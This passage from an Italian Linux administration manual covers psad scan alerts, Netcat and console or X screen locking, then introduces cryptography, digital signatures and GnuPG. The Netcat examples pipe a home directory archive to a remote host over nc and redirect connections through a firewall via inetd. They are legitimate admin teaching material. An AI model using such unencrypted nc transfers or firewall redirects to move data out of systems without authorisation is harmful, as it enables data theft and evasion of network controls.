È molto probabile, in base alla configurazione standard contenuta nel file '/etc/syslog.conf', che si vedano apparire le segnalazioni generate dal filtro dei pacchetti anche sulla console attiva. Se la scansione viene intercettata, ovvero, se il sistema di filtro dei pacchetti intercetta la scansione, si dovrebbe ottenere quasi subito un messaggio di posta elettronica, simile a quello seguente:

```
To: root@localhost
Subject: psad WARNING: dinkel (192.168.1.1) has been scanned!
Message-Id: <E19Au3y-0000Hc-00@dinkel.brot.dg>
From: root <root@dinkel.brot.dg>
Date: Wed, 30 Apr 2003 18:04:06 +0200

=-=-=-=-=-=-=-=-=-=-=-=-= Apr 30 18:04:06 =-=-=-=-=-=-=-=-=-=-=-=-=
psad: portscan detected against dinkel (192.168.1.1).

Source:                       192.168.1.1
Destination:                  192.168.1.1
Newly scanned TCP ports:      [33032-33052]   (since: Apr 30 18:04:03)
Newly Blocked TCP packets:    [1365]   (since: Apr 30 18:04:03)
TCP flags:                    [ACK RST: 1364 packets]
TCP flags:                    [RST: 1 packets]
Complete TCP/UDP port range: [33032-33052]  (since: Apr 30 18:04:03)
Total blocked packets:        1365
Start time:                   Apr 30 18:04:03
End time:                     Apr 30 18:04:06
Danger level:                 3 out of 5
DNS info:                     192.168.1.1 -> dinkel.brot.dg



---- Whois Information: ----

=-=-=-=-=-=-=-=-=-=-=-=-= Apr 30 18:04:06 =-=-=-=-=-=-=-=-=-=-=-=-=
```

48.8.9 Netcat

Netcat[30] è un programma creato allo scopo di leggere e scrivere dati attraverso delle connessioni di rete TCP o UDP. Si tratta di uno strumento generico, vagamente simile a un cliente TELNET, con la differenza che può funzionare anche con il protocollo UDP. Le potenzialità di questo programma sono notevoli, ma qui vengono mostrate solo alcune delle sue caratteristiche; per il resto si può leggere la sua documentazione.

Netcat può funzionare, quasi indifferentemente, come cliente o servente di una connessione; per questo è uno strumento ottimale per la verifica del funzionamento delle connessioni di rete e non solo. In un certo senso, l'eseguibile '**nc**', ovvero ciò che costituisce Netcat, è paragonabile idealmente al programma '**dd**', con la differenza che invece di fare riferimento a dei dispositivi, si lavora con la rete a livello di trasporto TCP e UDP: il quarto nel modello ISO-OSI.

L'eseguibile '**nc**' è tutto ciò che compone Netcat. Questo programma instaura una connessione, in qualità di cliente o di servente, utilizzando il protocollo TCP oppure UDP, trasmettendo ciò che ottiene dallo standard input e restituendo attraverso lo standard output ciò che riceve dall'altro capo.

```
nc [opzioni] nodo porta
```

```
nc -l -p porta [nodo [porta]]
```

L'uso di Netcat differisce fondamentalmente a seconda del fatto che si voglia raggiungere un servizio in ascolto presso un nodo, a una porta determinata, oppure che si intenda avviarlo per restare in ascolto in attesa di una richiesta di connessione. Nel secondo caso si usa l'opzione '**-l**' (*Listen*).

Il funzionamento di questo programma si comprende meglio attraverso degli esempi, ma per il momento viene mostrato il significato di alcune opzioni.

Opzione	Descrizione
`-4`	Forza l'utilizzo di IPv4.
`-6`	Forza l'utilizzo di IPv6.
`-l`	Fa in modo che Netcat venga avviato per restare in ascolto di una certa porta (specificata attraverso l'opzione '**-p**').
`-p` ***porta***	Permette di specificare la porta a cui Netcat deve prestare ascolto. Si usa assieme all'opzione '**-l**'.
`-n`	Fa in modo che si eviti di tentare di risolvere gli indirizzi IP in nomi di dominio.
`-s` ***indirizzo_ip_locale***	Definisce esplicitamente l'indirizzo IP locale. Perché ciò possa essere fatto, occorre che questo indirizzo sia abbinato effettivamente a un'interfaccia di rete, eventualmente anche solo come alias.
`-u`	Utilizza il protocollo UDP. Senza questa opzione, viene usato il protocollo TCP in modo predefinito.

L'esempio seguente, serve a instaurare una connessione TCP con il servente SMTP *dinkel.brot.dg*:

$ **nc dinkel.brot.dg smtp** [*Invio*]

Un uso interessante di Netcat è quello con il quale si ottiene un trasferimento dati senza bisogno di una shell remota ('**rsh**' per esempio). Per questo, da una parte occorre avviare l'eseguibile '**nc**' in ascolto di una certa porta TCP, mentre dall'altra si utilizza sempre '**nc**' in modo che cerchi di contattare quella porta di quel nodo. Il canale che si crea può essere sfruttato per questo scopo.

- $ **nc -l -p 1234 | tar xzpvf -** [*Invio*]

  In questo modo, Netcat viene avviato in ascolto della porta 1234, che si presume sia libera. Il suo standard output viene passato a '**tar**' che deve occuparsi di estrarne il contenuto nella directory corrente. In pratica, si presume che Netcat debba ricevere dalla porta 1234 un file corrispondente a un archivio tar+gzip e che questo debba essere riprodotto localmente.

- $ **tar czf - /home/tizio | nc dinkel.brot.dg 1234** [*Invio*]

  Questo comando è la controparte dell'esempio mostrato prima: viene archiviata la directory '/home/tizio/' e passata all'eseguibile '**nc**' attraverso un condotto. Evidentemente, *dinkel.brot.dg* è il nodo all'interno del quale deve essere riprodotta tale directory.

Netcat può essere usato per ridirigere una connessione TCP, per esempio attraverso un firewall. Gli esempi seguenti si riferiscono a Inetd, pertanto si tratta di direttive del file '/etc/inetd.conf'.

```
...
www stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc roggen.brot.dg 80
...
```

In questo caso, le richieste TCP per la porta '**www**' (ovvero 80), sono ridirette attraverso Netcat verso il nodo *roggen.brot.dg* alla stessa porta.

```
...
www stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc roggen.brot.dg 1234
...
```

Questa è solo una piccola variante dell'esempio precedente, in cui si presume che il vero servente HTTP si trovi sempre nel nodo *roggen.brot.dg*, ma sia in ascolto della porta 1234.

48.9 Protezione della sessione di lavoro

Se quello che si utilizza è un terminale seriale, o un terminale remoto, la cosa migliore da fare per proteggere il proprio lavoro mentre ci si allontana dalla postazione è quello di chiudere la sessione di lavoro. Se si avviano dei processi sullo sfondo è bene prevedere in anticipo questo fatto, avviandoli attraverso '**nohup**' (sezione 10.10.1), oppure si può utilizzare Screen (sezione 15.13).

Se si utilizza una console, dal momento che è molto probabile che si stiano utilizzando diverse console virtuali simultaneamente, questo tipo di soluzione potrebbe essere un po' troppo complicato. In questi casi si preferisce usare un programma apposito che blocca l'accesso a tutte le console virtuali.

La protezione del lavoro su una stazione grafica può essere fatta in modo simile a quello che riguarda la console, attraverso programmi che la bloccano, eventualmente attivando un salva-schermo. Tuttavia, esiste un problema in più: per evitare che sia possibile interrompere il funzionamento del servente grafico attraverso la combinazione [*Ctrl Alt Backspace*], occorre la direttiva '**DontZap**' nella sezione '**ServerFlags**':

```
Section "ServerFlags"
    Option DontZap
    # Option Dont Zoom
EndSection
```

48.9.1 Utilizzo di «vlock»

Il programma '**vlock**'[31] blocca la console virtuale del sistema GNU/Linux in cui viene avviato, a meno che sia utilizzata l'opzione '**-a**', con la quale vengono bloccate anche tutte le altre console virtuali.

```
vlock [opzioni]
```

Il funzionamento di '**vlock**' può essere concluso anche con l'inserimento della parola d'ordine dell'utente '**root**'.

48.9.2 Utilizzo di «xlock»

Il programma '**xlock**'[32] è il più comune per il blocco di una stazione grafica X. Sono disponibili una grande quantità di opzioni; in particolare '**-mode**' prevede un elenco molto lungo di argomenti composti da una sola parola chiave che serve a definire il tipo di effetto grafico da utilizzare come salva-schermo.

```
xlock [opzioni]
```

In condizioni normali, se non si usano opzioni che vanno in senso contrario, basta premere un tasto qualunque per interrompere il salva-schermo; quindi, con l'inserimento della parola d'ordine dell'utente che lo ha avviato, si può concludere il funzionamento di '**xlock**'.

A titolo di esempio viene mostrato il caso di un salva-schermo nero:

$ **xlock -mode blank** [*Invio*]

Nel caso non si utilizzasse alcuna opzione, si otterrebbe un effetto grafico salva-schermo, scelto casualmente tra quelli disponibili.

48.9.3 Utilizzo di «xtrlock»

Il programma '**xtrlock**'[33] non prevede alcun argomento e il suo scopo è solo quello di bloccare l'uso della tastiera e del mouse, senza attivare alcun salva-schermo.

```
xtrlock
```

Lo sblocco della stazione grafica si ottiene soltanto digitando la parola d'ordine dell'utente (senza alcun campo di inserimento), concludendo con la pressione di [*Invio*]. Se la parola d'ordine inserita è errata, viene emesso un segnale acustico e quindi si può riprovare l'inserimento.

48.10 Riferimenti

- Kevin Fenzi, *Linux Security HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩

- Christopher Klaus, *Backdoors*, 1997

  ⟨*http://web.textfiles.com/hacking/backdoors.txt* ⟩

- Steven M. Bellovin, *There Be Dragons*, 1992

  ⟨*http://www.cs.columbia.edu/~smb/papers/dragon.ps* ⟩

- David A. Curry, *Improving the security of your UNIX systems*, 1993

  ⟨*http://www.google.com/search?q=David+Curry+Improving+the+security+of+your+UNIX+systems* ⟩

- CERT (Computer Emergency Response Team) Coordination Center

  ⟨*http://www.cert.org/* ⟩

- Mathematics and Computing Science Dept. of Eindhoven University of Technology (the Netherlands, Europe)

  ⟨*ftp://ftp.porcupine.org/pub/security/* ⟩

- *Dazuko*

  ⟨*http://www.dazuko.org* ⟩

- Axel Boldt, *Bliss, a Linux "virus"*

  ⟨*http://math-www.uni-paderborn.de/~axel/bliss/* ⟩

- *Dansguardian*

  ⟨*http://dansguardian.org/?page=extras* ⟩

  ⟨*http://dansguardian.org/downloads/tp-ident2.patch* ⟩

[1] L’idea è tratta da *Improving the security of your site by breaking into it*, di Dan Farmer e Wietse Venema.

[2] Per accedere a una sessione grafica da una postazione remota si usa preferibilmente VNC attraverso un tunnel cifrato, come si può leggere nella sezione 31.14.

[3] Secondo una vecchia tradizione non si regalano spille e altri oggetti appuntiti con cui ci si può ferire.

[4] Esiste anche software proprietario che viene messo a disposizione in forma sorgente.

[5] Teoricamente i file HTML possono incorporare anche molti altri tipi di script, purché il navigatore sia poi in grado di interpretarli.

[6] **Dazuko** GNU GPL o BSD

[7] **Clamav** GNU GPL

[8] **Ident2** GNU GPL

[9] **TCP wrapper** software libero con licenza speciale

[10] **TCP wrapper** software libero con licenza speciale

[11] **TCP wrapper** software libero con licenza speciale

[12] **TCP wrapper** software libero con licenza speciale

[13] **GNU core utilities** GNU GPL

[14] **Fakeroot** GNU GPL

[15] **fakechroot** GNU GPL

[16] **AIDE** GNU GPL

[17] **Queso** GNU GPL

[18] **Raccess** GNU GPL

[19] **Nmap** GNU GPL

[20] **net-tools** GNU GPL

[21] **Psmisc** GNU GPL

[22] Fuser utilizza in pratica le informazioni contenute nella directory ‘`/proc/`’.

[23] **Tcpdump** software libero con licenza speciale

[24] **IPTraf** GNU GPL

[25] **Sniffit** software libero con licenza speciale

[26] Questo esempio viene mostrato proprio per far comprendere quanto vulnerabile sia un terminale remoto che non utilizzi una comunicazione cifrata.

[27] **Wireshark** GNU GPL

[28] **IPlogger** GNU GPL

[29] **Psad** GNU GPL

[30] **Netcat** GNU GPL

[31] **Vlock** GNU GPL

[32] **Xlock** software libero sottoposto a diverse licenze a seconda della porzione di codice coinvolto

[33] **Xtrlock** GNU GPL

Capitolo 49

Riservatezza e certificazione delle comunicazioni

49.1 Introduzione ai problemi legati alla crittografia e alla firma elettronica 2778

49.1.1 Crittografia 2779
49.1.2 Firma elettronica, o firma digitale 2780
49.1.3 Gestione delle chiavi, certificazione e fiducia 2782
49.1.4 Cosa può succedere se... 2784
49.1.5 Servizi per la diffusione delle chiavi pubbliche 2785
49.1.6 Problemi legali 2785

49.2 GnuPG: GNU Privacy Guard 2786

49.2.1 Creazione delle chiavi e del certificato di revoca 2787
49.2.2 Scambio di chiavi pubbliche 2790
49.2.3 Utilizzo della crittografia 2793
49.2.4 Firma di documenti 2795
49.2.5 Gestione della fiducia 2796
49.2.6 Accesso a un servente di chiavi 2798
49.2.7 Gnome PGP 2799

49.3 Autorità di certificazione e certificati 2800

49.3.1 Catena di certificazione 2800
49.3.2 Numero di serie, scadenza e revoca dei certificati 2801
49.3.3 Certificato X.509 2802
49.3.4 Richiesta di certificato X.509 2804
49.3.5 Revoca dei certificati 2805

49.4 Connessioni cifrate e certificate 2806

49.4.1 SSL/TLS 2807
49.4.2 SSH 2809

49.5 Introduzione a OpenSSL 2811

49.5.1 Collocazione e impostazione 2811
49.5.2 Procedimento per ottenere un certificato 2813
49.5.3 Cenni sulla configurazione di OpenSSL 2817
49.5.4 Simulazione dell'allestimento e del funzionamento di un'autorità di certificazione 2819

49.6 Applicazioni che usano OpenSSL 2823

49.6.1 Aggiornare l'elenco dei servizi 2824

49.6.2 Opzioni comuni 2824
49.6.3 Certificati dei servizi 2825
49.6.4 Telnet-SSL 2826
49.6.5 SSLwrap 2827
49.6.6 Stunnel 2829

49.7 OpenSSH 2830

49.7.1 Preparazione delle chiavi 2830
49.7.2 Verifica dell'identità dei serventi 2833
49.7.3 Autenticazione RHOST 2835
49.7.4 Autenticazione RHOST sommata al riconoscimento della chiave pubblica 2836
49.7.5 Autenticazione basata sul controllo della chiave pubblica 2837
49.7.6 Autenticazione normale 2838
49.7.7 Servente OpenSSH 2839
49.7.8 Cliente OpenSSH 2843
49.7.9 Verifica del funzionamento di un servente OpenSSH 2848
49.7.10 X in un tunnel OpenSSH 2849
49.7.11 Creazione di un tunnel cifrato generico con OpenSSH 2851
49.7.12 Installazione 2852

49.8 VPN attraverso OpenSSH 2852

49.8.1 Configurazione e opzioni significative 2853
49.8.2 Attivazione del tunnel dal lato «cliente» 2854
49.8.3 Configurazione dal lato «servente» 2854
49.8.4 Autenticazione automatica 2854

49.9 Steganografia 2855

49.9.1 Tecniche steganografiche 2856
49.9.2 Outguess 2856
49.9.3 Stegdetect 2859
49.9.4 Steghide 2861

49.10 Riferimenti 2863

`.rhosts` 2835 `.shosts` 2835 `authorized_keys` 2837 `config` 2843 `gpg` 2786 `gpgm` 2786 `gpgp` 2799 `hosts.equiv` 2835 `identity` 2830 `identity.pub` 2830 `id_dsa` 2830 `id_dsa.pub` 2830 `id_rsa` 2830 `id_rsa.pub` 2830 `known_hosts` 2833 `openssl` 2811 `options` 2786 `outguess` 2856 `random_seed` 2830 `scp` 2843 `sftp` 2843 `shosts.equiv` 2835 `ssh` 2830 2843 `sshd` 2839 `sshd_config` 2839 `ssh_config` 2843 `ssh_host_dsa_key` 2830 `ssh_host_dsa_key.pub` 2830 `ssh_host_key` 2830 `ssh_host_key.pub` 2830 `ssh_host_rsa_key` 2830 `ssh_host_rsa_key.pub` 2830 `ssh_known_hosts` 2833 `ssh-keygen` 2830 `sslwrap` 2827 `stegbreak` 2859 `stegdetect` 2859 `steghide` 2861 `stunnel` 2829 `telnetd.pem` 2826 `xsteg` 2859

49.1 Introduzione ai problemi legati alla crittografia e alla firma elettronica

La comunicazione meccanica (elettronica) pone dei problemi legati alla riservatezza e alla facilità con cui questa può essere contraffatta. Per fare un esempio, un messaggio di posta elettronica può essere intercettato facilmente da parte di chiunque abbia un accesso privilegiato ai nodi di rete attraverso cui transita; nello stesso modo, un messaggio può essere manomesso, anche senza lasciare tracce apparenti. Per risolvere questi problemi si possono usare dei metodi di cifratura dei dati e per evitare contraffazioni si possono usare delle firme elettroniche (o firme digitali).

49.1.1 Crittografia

La crittografia è una tecnica attraverso la quale si rendono illeggibili i dati originali, permettendo al destinatario di recuperarli attraverso un procedimento noto solo a lui. Si distinguono due forme fondamentali: la crittografia ***simmetrica***, ovvero ***a chiave segreta***, e quella ***asimmetrica***, nota meglio come crittografia ***a chiave pubblica***.

La crittografia simmetrica è quella più semplice da comprendere; si basa su un algoritmo che modifica i dati in base a una ***chiave*** (di solito una stringa di qualche tipo) che permette il ripristino dei dati originali soltanto conoscendo la stessa chiave usata per la cifratura. Per utilizzare una cifratura simmetrica, due persone si devono accordare sull'algoritmo da utilizzare e sulla chiave. La forza o la debolezza di questo sistema, si basa sulla difficoltà o meno che ci può essere nell'indovinare la chiave, tenendo conto anche della possibilità elaborative di cui può disporre chi intende spiare la comunicazione.

Figura 49.1. Crittografia simmetrica.

La crittografia a chiave pubblica è un metodo molto più complesso, ma ha il vantaggio di essere più pratico quando riguarda la comunicazione con molte persone. Il principio di funzionamento si basa sul fatto che esistono due chiavi complementari, assieme a un algoritmo in grado di cifrare con una chiave e di decifrare utilizzando l'altra. In pratica, la cifratura avviene a senso unico attraverso la chiave di cui dispone il mittente di un messaggio, mentre questo può essere decifrato esclusivamente con l'altra che possiede solo il destinatario. Le due chiavi vengono chiamate ***chiave pubblica*** e ***chiave privata***, attribuendogli implicitamente un ruolo specifico. In pratica, chi vuole mettere in condizione i propri interlocutori di inviare dei messaggi, o altri dati cifrati, che nessun altro possa decifrare, deve costruire una propria coppia di chiavi e quindi distribuire la chiave pubblica. Chi vuole inviare informazioni cifrate, può usare la chiave pubblica diffusa dal destinatario, perché solo chi ha la chiave complementare, ovvero la chiave privata, può decifrarle. In questa situazione, evidentemente, **la chiave privata deve rimanere segreta a tutti**, tranne che al suo proprietario; se venisse trafugata permetterebbe di decifrare i messaggi che fossero eventualmente intercettati.

Per questa ragione, il proprietario di una coppia di chiavi asimmetriche deve essere la stessa persona che se le crea.

Figura 49.2. Crittografia a chiave pubblica.

Documento bla bla bla bla bla bla	cifratura: chiave pubblica →	"%&&%//() =9(ui&$%! @#$£"!=)8	decifratura: chiave privata →	Documento bla bla bla bla bla bla ... ...

La cifratura può anche essere ibrida, utilizzando in pratica entrambe le tecniche. Per attuarla, di solito si utilizza prima la cifratura simmetrica con una chiave determinata in modo casuale ogni volta: la ***chiave di sessione***. Questa chiave di sessione viene allegata al messaggio, o ai dati trasmessi, cifrandola a sua volta (eventualmente assieme agli stessi dati già cifrati) attraverso il sistema della chiave pubblica, ovvero quello che si basa sulla coppia di chiavi complementari. Il destinatario di questi dati deve fare il percorso inverso, decifrando il documento con la sua chiave privata, quindi decifrandolo nuovamente utilizzando la chiave di sessione che ha ottenuto dopo il primo passaggio.

49.1.2 Firma elettronica, o firma digitale

La firma elettronica ha lo scopo di certificare l'autenticità dei dati. Per ottenere questo risultato occorre garantire che l'origine di questi sia autentica e che i dati non siano stati alterati.

Per dimostrare che un documento elettronico non è stato alterato, si utilizza la tecnica del codice di controllo, costituito da un numero o una stringa che si determinano in qualche modo in base al contenuto del documento stesso. L'algoritmo che genera questo codice di controllo è tanto più buono quanto è minore la probabilità che due documenti diversi generino lo stesso codice di controllo. Questo valore è una sorta di «riassunto» matematico del documento elettronico originale che può essere fornito a parte, attraverso un canale ritenuto sicuro, per permettere al destinatario di verificare che il documento è giunto intatto, ricalcolando il codice di controllo che deve risultare identico.[1]

Figura 49.3. Trasmissione di un documento abbinato a un codice di controllo separato.

La firma elettronica deve poter dimostrare che l'origine è autentica e che il codice di controllo non è stato alterato. Evidentemente, per non creare un circolo vizioso, serve qualcosa in più. Per questo si utilizza di solito la cifratura del codice di controllo assieme ai dati, oppure solo del codice di controllo, lasciando i dati in chiaro. Per la precisione, si utilizza la tecnica delle chiavi complementari, ma in questo caso, le cose funzionano in modo inverso, perché chi esegue la firma, deve usare la sua chiave privata (quella segreta), in maniera tale che tutti gli altri possano decifrare il codice di controllo attraverso la chiave pubblica.

Naturalmente, una firma elettronica di questo tipo può essere verificata solo se si può essere certi che la chiave pubblica attribuita al mittente che ha firmato il documento, appartenga effettivamente a quella persona. In altre parole, un impostore potrebbe diffondere una chiave pubblica corrispondente a una chiave privata di sua proprietà, indicandola come la chiave del signor Tizio, potendo così inviare documenti falsi a nome di questo signor Tizio, che in realtà non ne è il responsabile.

Figura 49.4. Principio di funzionamento della firma elettronica applicata a un documento trasmesso in chiaro.

49.1.3 Gestione delle chiavi, certificazione e fiducia

I sistemi crittografici a chiave pubblica richiedono attenzione nell'uso di queste chiavi, in particolare è importante la gestione corretta delle chiavi pubbliche appartenenti ai propri corrispondenti. Queste chiavi sono conservate all'interno di «portachiavi», di solito distinti a seconda che si tratti di chiavi private o di chiavi pubbliche. Infatti, la chiave privata deve rimanere segreta e va difesa in ogni modo, mentre le chiavi pubbliche non richiedono questa attenzione. I portachiavi in questione sono normalmente dei file, gestiti in modo più o meno automatico dai programmi che si utilizzano per queste cose.

A parte il problema di custodire gelosamente la propria chiave privata, bisogna considerare la necessità di verificare che le chiavi pubbliche appartengano effettivamente alle persone a cui sembrano essere attribuite, così si intuisce che il modo migliore per questo è quello di ottenere personalmente da loro le rispettive chiavi pubbliche.

Per semplificare un po' le cose, si introduce la possibilità di controfirmare le chiavi pubbliche che si ritiene siano di provenienza certa; questa firma ha il valore di una certificazione, che conta in funzione della credibilità di chi la dà. Le chiavi pubbliche firmate, portano con sé l'informazione di chi le ha firmate, ma la verifica della firma si può fare solo possedendo la chiave pubblica di questa persona. In pratica, il meccanismo della controfirma permette di creare una rete di fiducia, attraverso la diffusione di chiavi pubbliche firmate da altre persone: chi è sicuro della chiave pubblica di una persona, della quale ha anche fiducia, può decidere di fidarsi delle chiavi pubbliche che questa ha firmato a sua volta.

Una chiave pubblica contiene anche le informazioni che servono ad attribuirla al suo proprietario; di solito si tratta del nome e cognome, assieme a un indirizzo di posta elettronica. Per garantire che questi dati allegati non siano stati alterati, il proprietario delle sue stesse chiavi può firmare la sua chiave pubblica. Ciò serve a garantire che quella chiave pubblica è

collegata correttamente a quei dati personali, anche se non può garantire che sia stata creata effettivamente da quella persona.

Figura 49.5. Verifica di un certificato, ovvero di una chiave pubblica controfirmata.

certificato
ciave pubblica di Tizio + informazioni di identificazione
firma di Caio
firma di ...
codice di controllo calcolato
chiave pubblica di Caio
codice di controllo decifrato
sono uguali?
sì, allora è da ritenere che la chiave pubblica contenuta nel certificato appartenga effettivamente a Tizio

Quando l'uso dei sistemi crittografici a chiave pubblica diventa una pratica regolata attraverso le leggi, soprattutto per ciò che riguarda la firma elettronica, diventa indispensabile l'istituzione di un'autorità in grado di garantire e verificare l'autenticità delle chiavi pubbliche di ognuno. Nello stesso modo, in mancanza di una tale istituzione, quando queste tecniche vengono usate per scopi professionali, diventa necessario affidarsi alla certificazione fatta da aziende specializzate in questo settore, che hanno la credibilità necessaria. Tecnicamente si parla di ***autorità di certificazione*** e nella documentazione tecnica inglese si indica con l'acronimo «CA»: *Certificate authority*.

È l'autorità di certificazione che stabilisce quali siano i dati di identificazione che devono accompagnare la chiave nel certificato che si vuole ottenere.

Anche in presenza di un'autorità di certificazione delle chiavi, la coppia di chiavi asimmetriche dovrebbe essere creata esclusivamente dal suo titolare (il suo proprietario), che solo così potrebbe essere effettivamente l'unico responsabile della segretezza della sua chiave privata.

Tornando alle situazioni pratiche, la verifica di una chiave pubblica può essere semplificata attraverso l'uso di un'***impronta digitale***. Si tratta di un altro codice di controllo calcolato su una chiave pubblica, con la proprietà di essere ragionevolmente breve, tanto da poter essere scambiato anche su un foglio di carta. Quando due persone vogliono scambiarsi le chiavi pubbliche personalmente, al posto di farlo realmente, possono limitarsi a scambiarsi l'impronta digitale della chiave, in modo da poter poi verificare che la chiave pubblica avuta attraverso i canali normali corrisponde effettivamente a quella giusta.

Figura 49.6. Impronta digitale della chiave pubblica.

Data l'importanza che ha la segretezza della chiave privata, è normale che i sistemi crittografici prevedano la protezione di questa informazione attraverso una parola d'ordine. In generale, viene data la facoltà di lasciare la chiave privata in chiaro, o di cifrarla attraverso una stringa, la parola d'ordine, che in questo contesto particolare è conosciuta meglio come *passphrase*. L'utilizzo di una chiave privata cifrata si traduce in pratica nella necessità, ogni volta che serve, di inserire il testo utilizzato per cifrarla. L'utilizzo di chiavi private protette in questo modo, è indispensabile in un sistema multiutente, in cui l'amministratore di turno può avere accesso a tutto quello che vuole nel file system; dall'altra parte, in questo modo si riduce il pericolo che qualcun altro possa usare una chiave privata trafugata.

Dovrebbe essere chiaro, ormai, che il file contenente la chiave pubblica e i dati identificativi del suo titolare, assieme a una o più firme di certificazione, è un ***certificato***. Come nei certificati normali, quando le informazioni che vengono attestate in questo modo non sono definitive per loro natura (si pensi all'indirizzo di posta elettronica che può cambiare anche molto spesso), è importante prevedere una scadenza tra i dati che compongono il certificato stesso. Oltre a questo, ci deve essere la possibilità di revocare un certificato prima della sua scadenza normale: sia per la possibilità che i dati relativi siano cambiati, sia per premunirsi in caso di furto della chiave privata. La revoca di un certificato si ottiene attraverso un ***certificato di revoca***. A seconda del sistema crittografico che si utilizza, il certificato di revoca può essere predisposto dalla stessa persona che si costruisce le chiavi, oppure può essere compito dell'autorità di certificazione che si occupa di rilasciare i certificati. Il problema viene ripreso più avanti.

49.1.4 Cosa può succedere se...

È il caso di soffermarsi sul significato pratico di alcune cose che possono succedere, in modo da capire meglio l'importanza di certi aspetti che riguardano la crittografia a chiave pubblica.

Se si perde la chiave privata, non si possono più decifrare i messaggi ricevuti dagli interlocutori, quando questi li hanno cifrati con la chiave pubblica relativa; inoltre non si possono decifrare più nemmeno quelli che sono stati ricevuti in passato.

Se qualcuno ruba una copia della chiave privata,[2] questa persona può leggere i messaggi cifrati inviati al proprietario di quella chiave e può sostituirsi a quella persona in generale; può anche firmare a suo nome.

L'unica cosa che si può fare quando si perde la chiave privata, o si sospetta che qualcuno sia riuscito a ottenerne una copia, è la diffusione del certificato di revoca.

Se si utilizza una chiave pubblica senza averla verificata, si rischia di far recapitare il messaggio o i dati a una persona diversa da quella che si intende veramente. Infatti, un estraneo potrebbe intercettare sistematicamente le comunicazioni della persona a cui si vuole scrivere o inviare altri dati. In tal modo, questo estraneo riceverebbe dei messaggi che può decifrare con la sua chiave privata, provvedendo poi a cifrarli nuovamente nel modo giusto per inviarli al destinatario reale, in modo che nessuno si accorga dell'intercettazione.

49.1.5 Servizi per la diffusione delle chiavi pubbliche

Ci possono essere molti modi di diffondere la propria chiave pubblica, oppure quella di altri, dopo che questa è stata controfirmata. Il metodo standard dovrebbe consistere nell'utilizzo di un servente specifico per questo. Normalmente, questi serventi di chiavi (*key-server* o *cert-server*) sono collegati tra loro in modo da aggiornarsi a vicenda, limitandosi comunque ad accumulare le chiavi pubbliche che vengono inviate, senza certificare implicitamente la genuinità di queste. Per prelevare una chiave pubblica occorre conoscere il numero di identificazione di questa (si tratta di un numero attribuito automaticamente dal programma che crea la coppia di chiavi), tenendo conto che tale informazione può essere ottenuta dalla stessa persona con la quale si vuole comunicare in modo cifrato, magari perché la aggiunge sistematicamente in coda ai suoi messaggi di posta elettronica.

Nel caso della crittografia usata per la posta elettronica si utilizza generalmente lo standard OpenPGP, con il quale, per accedere ai serventi di chiavi non si usano i protocolli normali e occorre affidarsi direttamente agli strumenti di gestione della crittografia e delle firme. Il servente a cui si fa riferimento di solito è `certserver.pgp.com`, comunque non è necessario servirsi proprio di questo. Tenendo conto che di solito i nomi dei nodi che offrono questo tipo di servizio corrispondono a un modello del tipo `*.pgp.net`, `*.pgp.org`, oppure `*.pgp.com`, o simili, si potrebbe fare una ricerca attraverso un motore di ricerca comune.

49.1.6 Problemi legali

L'utilizzo di sistemi di comunicazione cifrata potrebbe essere regolato dalle leggi dei paesi coinvolti. Il problema è che bisogna verificare le norme del paese di origine di una trasmissione del genere e anche quelle del paese di destinazione. Per quanto riguarda l'Italia, la cosa non è chiara.[3]

Questo serve per ricordare che si tratta di una materia delicata; anche se si ritiene di poter utilizzare la crittografia in Italia, bisogna pensarci bene prima di inviare messaggi cifrati all'estero, o di usare altre forme di comunicazione cifrate. Il problema si può porre anche nell'ambito della stessa Unione Europea.

49.2 GnuPG: GNU Privacy Guard

GnuPG[4] è uno strumento per la gestione della crittografia e delle firme elettroniche, compatibile con le specifiche OpenPGP pubblicate nell'RFC 2440. Rispetto al noto PGP, si tratta di software libero e in particolare non vengono utilizzati algoritmi proprietari.

GnuPG è composto da due eseguibili: '**gpg**' e '**gpgm**'. Di solito, il secondo viene richiamato dal primo, in base alle necessità, senza che ci sia bisogno di utilizzarlo direttamente. La distinzione in due eseguibili serve a trattare in modo particolare le operazioni delicate dal punto di vista della sicurezza, rispetto a quelle che non hanno questo problema: nel primo caso si deve fare uso di memoria «sicura». Tra le altre cose, da questo problema legato alla memoria dipende la limitazione pratica nella dimensione delle chiavi che si possono gestire.

Una volta chiarito che basta utilizzare solo l'eseguibile '**gpg**', perché questo si avvale di '**gpgm**' quando necessario, occorre vedere come sono organizzati gli argomenti nella sua riga di comando:

```
gpg [opzioni] comando [argomenti_del_comando]
```

In pratica, si utilizza '**gpg**' esattamente con l'indicazione di un comando. Il funzionamento generale può essere definito attraverso le opzioni che precedono tale comando, mentre il comando stesso potrebbe richiedere l'indicazione di altri argomenti.[5]

Le opzioni «lunghe», cioè quelle che andrebbero indicate con due trattini iniziali, possono essere inserite in un file di configurazione, avendo però l'accortezza di eliminare i due trattini. Il file di configurazione di GnuPG è sempre solo personale, il nome predefinito è '`~/.gnupg/options`' e di solito viene creato automaticamente la prima volta che si usa il programma (assieme alla directory che lo precede). Come in molti altri tipi di file del genere, il carattere '**#**' viene utilizzato per iniziare un commento, mentre le righe bianche e quelle vuote vengono ignorate nello stesso modo. In particolare, negli esempi che vengono mostrati successivamente, si fa riferimento alla situazione tipica, in cui non viene modificato il file di configurazione creato automaticamente e tutto quello che serve deve essere definito attraverso la riga di comando.

Come si può intuire, la directory '`~/.gnupg/`' serve anche per contenere altri file relativi al funzionamento di GnuPG, tenendo conto, comunque, che in condizioni normali viene creata la prima volta che si avvia l'eseguibile '**gpg**'. I file più importanti che si possono trovare sono: '`~/.gnupg/secring.gpg`' che rappresenta il portachiavi delle chiavi private (file che deve essere custodito e protetto con cura); '`~/.gnupg/pubring.gpg`' che rappresenta il portachiavi delle chiavi pubbliche (ovvero dei certificati); '`~/.gnupg/trustdb.gpg`' che contiene le informazioni sulla propria fiducia nei confronti di altre persone, le quali possono avere firmato (certificato) le chiavi pubbliche di altri.

Una volta creata la propria coppia di chiavi, occorre decidere la politica di sicurezza da utilizzare per proteggere il portachiavi privato. Oltre alla necessità di farne delle copie da conservare in un luogo sicuro, si può considerare la possibilità di mettere questo file in un altro luogo; per esempio in un disco rimovibile, da inserire solo quando si deve usare la propria chiave privata. In questo caso, si potrebbe sostituire il file '`~/.gnupg/secring.gpg`' con un collegamento simbolico al file reale in un altro disco innestato solo per l'occasione.

